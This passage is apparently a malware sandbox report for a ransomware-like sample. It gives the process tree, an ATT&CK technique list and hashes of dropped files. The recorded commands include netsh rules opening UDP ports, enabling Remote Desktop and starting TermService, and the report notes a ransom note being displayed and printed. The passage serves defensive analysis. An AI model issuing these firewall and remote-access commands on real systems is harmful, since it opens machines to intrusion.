    3⤵
    PID:2144
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6340
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6380
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6640
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6704
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5616
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6956
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6996
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:4848
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6636
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6772
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6940
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6404
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6176
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6440
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6788
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:7052
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6692
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6432
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:4472
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6876
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5276
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6188
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:7068
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:4848
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:224
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:3480
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6392
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6456
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6916
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6404
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:4128
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:7076
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6352
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6348
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5276
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:3864
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6296
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6352
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6784
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6904
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6408
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6444
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6996
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5436
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:7016
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6820
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5416
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5812
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5344
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5688
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6040
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6044
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:2324
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\loveletter.vbs"
  2⤵
  PID:3636
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\mail.vbs"
  2⤵
  PID:1788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K RemDesk.cmd
  2⤵
  PID:3496
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
    3⤵
    PID:4788
- - C:\Windows\system32\net.exe
    net start TermService
    3⤵
    PID:3340
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 start TermService
      4⤵
      PID:1808
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\YcynNote.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:4868
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\YcynNote.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:4824
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\YcynNote.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1788
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\YcynNote.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:4388
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\YcynNote.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1960
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\YcynNote.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1584
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\YcynNote.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1664
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Speak.vbs"
  2⤵
  PID:1204
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Speak.vbs"
  2⤵
  PID:2536
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Speak.vbs"
  2⤵
  PID:3316
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Speak.vbs"
  2⤵
  PID:5144
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Speak.vbs"
  2⤵
  PID:5284
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Speak.vbs"
  2⤵
  PID:5320
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Speak.vbs"
  2⤵
  PID:5460
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Speak.vbs"
  2⤵
  PID:5524
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Speak.vbs"
  2⤵
  PID:5516
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Speak.vbs"
  2⤵
  PID:5640
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Speak.vbs"
  2⤵
  PID:5680
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Speak.vbs"
  2⤵
  PID:5752
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Speak.vbs"
  2⤵
  PID:5804
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Speak.vbs"
  2⤵
  PID:5820
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Speak.vbs"
  2⤵
  PID:5948
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Speak.vbs"
  2⤵
  PID:5968
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Speak.vbs"
  2⤵
  PID:5992
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Speak.vbs"
  2⤵
  PID:6024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Get-Content -Path C:\Users\Admin\Desktop\YcynNote.txt | Out-Printer"
  2⤵
  PID:3304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Get-Content -Path C:\Users\Admin\Desktop\YcynNote.txt | Out-Printer"
  2⤵
  PID:6760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Get-Content -Path C:\Users\Admin\Desktop\YcynNote.txt | Out-Printer"
  2⤵
  PID:5956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Get-Content -Path C:\Users\Admin\Desktop\YcynNote.txt | Out-Printer"
  2⤵
  PID:6524

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:3380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:5052

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:904

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x2f4 0x49c
1⤵
PID:5328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:1872

C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
"C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca
1⤵
PID:5184

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Account Manipulation

T1098

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Modify Registry

T1112

Web Service

T1102

Credential Access

Account Manipulation

T1098

Discovery

Process Discovery

T1057

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db

Filesize
28KB

MD5
8a96e0a43cb13cf158fbd4f54db92e0d

SHA1
cfc6bb61239e5be4c1b2d0ab4b55f7ec6f3c753a

SHA256
cf15064d5d995c6b123125c4b81435d5cdb4d705e0e3f52204d11458c2ad1df3

SHA512
caa44c1d7c661bbb64360e94b482ee85822809f0e74cf3275d60a79c0e178d4437110c2d726872680c031f2b26d49dc283cdbd1fbb70d144248ab4b1f1e141e5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
08f9f3eb63ff567d1ee2a25e9bbf18f0

SHA1
6bf06056d1bb14c183490caf950e29ac9d73643a

SHA256
82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0

SHA512
425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1cef395bf46260076d2ab2b53e05866c

SHA1
5f6ad6ba31c18f56e8c4bedbe24d96b46fe18d0c

SHA256
0e33b1e1dacc59fe080c0d38f4984626aae69305618dd955c7a4fba0b426e507

SHA512
2b73785ecda5edb3e1769b28cd995521149c327cbb869557080c37eac630579052fc2600880cf4ba3bc3113468fd3c0c4af5d772ab47312795eb02ced02e4e01

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1dffbab5ecc6d06e8b259ad505a0dc2a

SHA1
0938ec61e4af55d7ee9d12708fdc55c72ccb090c

SHA256
a9d2e6d35c5e9b94326042c6f2fe7ef381f25a0c02b8a559fc1ee888ccffb18e

SHA512
93209a16400574416f6f992c2d403acc399179fc911818c4967c9a0211924486878578d1c98ba3bc9e269012603c96ab118a291bf53c57d8af9ab48f9e7b9b76

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
f1139688868d0000137c128570117d69

SHA1
cca29a8febd67a01d1a0454dbad2baa6d00555af

SHA256
9b7a47695fcd49d67c51f199bd8c7d305f5f9ea494f322f2327181768127ae04

SHA512
a490dc57f23320b2048f4e66d4e337aeac49ab5859b5d2d2709ec651c8afacd968a102665c1a8ada826662d781c552a730e482606fe31592e0e20301737eae81

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
f1139688868d0000137c128570117d69

SHA1
cca29a8febd67a01d1a0454dbad2baa6d00555af

SHA256
9b7a47695fcd49d67c51f199bd8c7d305f5f9ea494f322f2327181768127ae04

SHA512
a490dc57f23320b2048f4e66d4e337aeac49ab5859b5d2d2709ec651c8afacd968a102665c1a8ada826662d781c552a730e482606fe31592e0e20301737eae81

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
f1139688868d0000137c128570117d69

SHA1
cca29a8febd67a01d1a0454dbad2baa6d00555af

SHA256
9b7a47695fcd49d67c51f199bd8c7d305f5f9ea494f322f2327181768127ae04

SHA512
a490dc57f23320b2048f4e66d4e337aeac49ab5859b5d2d2709ec651c8afacd968a102665c1a8ada826662d781c552a730e482606fe31592e0e20301737eae81

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
f1139688868d0000137c128570117d69

SHA1
cca29a8febd67a01d1a0454dbad2baa6d00555af

SHA256
9b7a47695fcd49d67c51f199bd8c7d305f5f9ea494f322f2327181768127ae04

SHA512
a490dc57f23320b2048f4e66d4e337aeac49ab5859b5d2d2709ec651c8afacd968a102665c1a8ada826662d781c552a730e482606fe31592e0e20301737eae81

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1dffbab5ecc6d06e8b259ad505a0dc2a

SHA1
0938ec61e4af55d7ee9d12708fdc55c72ccb090c

SHA256
a9d2e6d35c5e9b94326042c6f2fe7ef381f25a0c02b8a559fc1ee888ccffb18e

SHA512
93209a16400574416f6f992c2d403acc399179fc911818c4967c9a0211924486878578d1c98ba3bc9e269012603c96ab118a291bf53c57d8af9ab48f9e7b9b76

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
4aa9fb9e246d50abf03fac60812f32a8

SHA1
d73cec2865e492999eea560310360c4623c53fff

SHA256
008c1794220ecd9204df4360e5a2db131548bc7609c2a7810703af4d827bdc15

SHA512
fb26ce1ebf4cde401440cd646ce9841511c362ff59513ddf61e3a8748276b87faa760d5775ac4cc795904dffbe0ce359d877804777f3ac25c7732ae660e106a2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2012d89610ee6dcb4f8da49f9c2205d0

SHA1
564792ab2e33b15092309a6ce8944d5c480b759a

SHA256
bbbae7e7e5532804b33ef88e0f3b9453eafa1e5a089b8c8f877ce26f6dd83abb

SHA512
faf2823e932c7ec753eac5057084ae932501d63326480cb8c3188c688fe63239e1f80f8cfa98f89b42866f74db0d59206b916012a783d0f09e85c25f66024155

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
fdfa206e8fd4c7c368373fb7a906a081

SHA1
e401a6157f8463b2cd3e171308d7f67089cb61d6

SHA256
c654ff0a1ce9ed387f01785201af95c2af9261273e8c74d8b6333e10aaba026e

SHA512
1b0dc40b2ad7abe2efcecbe7ea4c5fdd90c6f20df278e85a4f353760956a554e153fdfc475ab0f89e9c576361ad47ab7a560206628d81264a9b4ff2bf4c4ef3f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ac17a9f3ca22231ddb9303f8a7e7b443

SHA1
39173d393e50ac45a069a14f3ed955804692262a

SHA256
acf45cadec10ae3e19e5562d27281ee8133bc1372a4d8b5942f1a3891695c5f3

SHA512
4fe52a1a555361f6c9df7e6d814f1ecf4d0b767d771b388ff1fbe066b42f8094a10e135310116b432e77c90f79f52202b20d5d564a8e22bea0f8e5a05db43125

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
593ec18a3604822f4b7b0ebfe79cdf4f

SHA1
65ea3dabef6359ae425664a5bfc64d1fa86f3c4d

SHA256
8d43cead5fb00a32c2ac53cd3c1c38cd71de718637020a6772008e9421d41db2

SHA512
938f5c13419f138c371f68d07822e455defe79e00c60dd70713e5df14412c8524b0b93eedabfb923e6f1ad5fc0285af4cfddcf201b3895e114c2acd894cfdece

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
593ec18a3604822f4b7b0ebfe79cdf4f

SHA1
65ea3dabef6359ae425664a5bfc64d1fa86f3c4d

SHA256
8d43cead5fb00a32c2ac53cd3c1c38cd71de718637020a6772008e9421d41db2

SHA512
938f5c13419f138c371f68d07822e455defe79e00c60dd70713e5df14412c8524b0b93eedabfb923e6f1ad5fc0285af4cfddcf201b3895e114c2acd894cfdece

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
27288860d1f778fe634e8ff3f72711b6

SHA1
abdc8559cc83a1e12d8a65e53a97bf73ccc4b21d

SHA256
7674f67654da40ac2295fce430f281723b22dd6eec490fb00a30ef520399d8c9

SHA512
1f4b3239c5bd60814f857b299d421cfbfbd3102c25199c9e1aa4ee5f9dec711614876980616c8ede3172721169ad79c56e930928fadc7770233d99610eb383b6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
652c60dab3af225424cded3bcd85c068

SHA1
275a68ffe3bd144cfbf8364bc53c1c2387dff7c9

SHA256
27ed97c2c3b6276210d71adc181363b26f95b7b6a759b06a5930c3cebd01e463

SHA512
17eb4d005e93c7c4b688d8412d610bc2e71f9630384544a5a584ebaf2643a66f7c1e8e28a8d588a52a942744a6b9d043a10a74fef29193b8ea49fa208b91d646

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Speech\Files\UserLexicons\SP_35E4C18718974B84A1EB4A9E25A04331.dat

Filesize
940B

MD5
7b2c09e224f6369909070d0221160f23

SHA1
232518bebb059255ac52525cd32abb8ec79be274

SHA256
c8d05c9a7374d59a2bcbfbde712c5b7e1c510bca7c86ef919dc25e141861e5bb

SHA512
b17d9b6b40b2b29ec8ba75e45de02e692dbc344707e03cd3bfaaa6be68430d28e2269ab09476a53955a8a9cec8f480e2dee8e6f616699f3cd661a6c5db33c493

Download Submit
C:\Users\Admin\Desktop\Speak.vbs

Filesize
4KB

MD5
e70f80da3c0e485a611a275744e84e1c

SHA1
f39913e012d4911c538cb992900aedfccd5644dd

SHA256
b91f6f3de0d6f9d7d386aa9b6fbccce1a91a6268d5b96f00f3c5e7b0096897e6

SHA512
6f11bc5607e8bcd271cf7fffdf3855303dbebe60dc8d306b6a609923acb26a3eb18324dc595b0a191001c0a7ec2f91830c41baa615d5d7b4a58eadef6fddc744

Download Submit
C:\Users\Admin\Desktop\YcynNote.txt

Filesize
442B

MD5
059cac2945c50fe015e5bf257959a9ea

SHA1
f376b61eb1d42c696233c760e6fa2c99533420d3

SHA256
ad8ae29d3e2d20679c7031f3bd9dec731aa37874f4f0b7bc18c98b305ad7e9bc

SHA512
da33e1153c49ced2adaf541709b96e2c91979194f34aebdbfa0e6d6ad30c87aaa67dd0aebb3cbfdc41ac463c97abe2a7d0c49d7246cccf68730f2bd3cdeeb23f

Download Submit
C:\Users\Admin\Documents\NoKeyB.exe

Filesize
1.2MB

MD5
6bc9c0340385a1ff2a8dd1b841415211

SHA1
f7b4088b012271ed06c24392bbcb5f9eb75219c2

SHA256
9df4d035d4d53d22fb29b5288336a05041e85fd448bb20ffe026b61bea52cf13

SHA512
9bebb00be1fef4e9ac739d4a0ef64a3d8e789cd4d87d9f98fc9813c2b15b84549319275fc6f294a50436fd6843df868b202e40b59ba0081a7a6eda797828fdea

Download Submit
C:\Users\Admin\Documents\NoKeyB.exe

Filesize
1.2MB

MD5
6bc9c0340385a1ff2a8dd1b841415211

SHA1
f7b4088b012271ed06c24392bbcb5f9eb75219c2

SHA256
9df4d035d4d53d22fb29b5288336a05041e85fd448bb20ffe026b61bea52cf13

SHA512
9bebb00be1fef4e9ac739d4a0ef64a3d8e789cd4d87d9f98fc9813c2b15b84549319275fc6f294a50436fd6843df868b202e40b59ba0081a7a6eda797828fdea

Download Submit
C:\Users\Admin\Documents\black.bat

Filesize
71B

MD5
3544e4b7ac1418d34061648a9f3e3dc6

SHA1
30e88f4aa1cc6c936c9c274f9f4f53b491a4d8ce

SHA256
db24f2b49b88e4cf7c3569a067f3e6e325d54a3be2368262d37a6a34f4f8aae8

SHA512
5d3048b421b4900efdce377d61f8965beb4bc02db27875c03eb378cd9996de9a01b63e54e99b4f94e4cf14e1b60d873d715ccea38fd0bdc1200ad3a2f268e126

Download Submit
C:\Users\Admin\Documents\black.bat

Filesize
72B

MD5
8113362d98e5e28d87ae282135f03145

SHA1
905228c1cb6ced238438138066d28393774df376

SHA256
a01038ce8935cbf8be6a779d7aed5396d46605ef593144eab71fe9042b25ea15

SHA512
44d3715aace73d72f83ea8a380817d4f11e8da622af6e1d363e8f6cf64dd0aabf3b3282c4bc1ea7d63c54e18ffd54f0a2b10969b6438a0cf43f67521425b315b

Download Submit
C:\Users\Admin\Downloads\2b2crypt.cmd

Filesize
134B

MD5
5ffeabb81bbbe1f0b8c9cc78282673f3

SHA1
8f9834deb9eef5bb3dcd0c5337dbc63771e4fdbe

SHA256
c883c2efd54310ffb33f6b73b78c8cfcc868c4c5a10584e2da780fea823da7b9

SHA512
45469602150360636793de0cc1ff7be8afdde8de86a1c2e2d23216d32037593ed87fce284cdf92a8856ea43967850b8e206f8aacd440a423a30630f200bd42e0

Download Submit
C:\Users\Admin\Downloads\2b2crypt.m.cmd

Filesize
137B

MD5
e69f6d3816fa1471f24d57e37f652ec3

SHA1
4398cbe19fad1d802c99df83c1f06a4f7dc26205

SHA256
082e53f043dbcf663c482ea28bcfa7f7b56aa4af8d8a1a74a6571d96d2a907db

SHA512
e7262fd88751086a6665c49e4e63baa6236afe1b01b38b662d3590499fc27c818c421df988fa5799d431395aa0ab1c6139ebd8d3aba46afa81998fbecaab6616

Download Submit
C:\Users\Admin\FuckPorts.cmd

Filesize
359B

MD5
1ca3c80539f13dd94b515fd26208961a

SHA1
218f7c0633eae3e12f739f8cfbf39cbb2939a715

SHA256
04876a5be5c9697ef6930c781ffbc873d9b7554a46b53f2c7af7731e155a0e48

SHA512
819807b1ec625e58b4684b7b74c91f944f99ec6ba19ef7ae68c29c596915ab609617b0e820b4769c752ac4000468a8d34ad7996069668953939ef2e3e4bf1ff3

Download Submit
C:\Users\Admin\GetToken.exe

Filesize
8KB

MD5
2ed86e80ea9b4b95b3e52ed77ea6c401

SHA1
5032e67b7c84362374b7d52507ab83ae03d7ebff

SHA256
6ad08fe301caae18941487412e96ceb0b561de4482da25ea4bb8eeb6c1a40983

SHA512
64fa72aea094f6aa03d9f6dcee3f72ce156a5a7802c39c59af5fc637e72303d46740f0c022fbd4c9f1ec62300ee33cc0af2ac0622729ae67717f580e007e6e71

Download Submit
C:\Users\Admin\GetToken.exe

Filesize
8KB

MD5
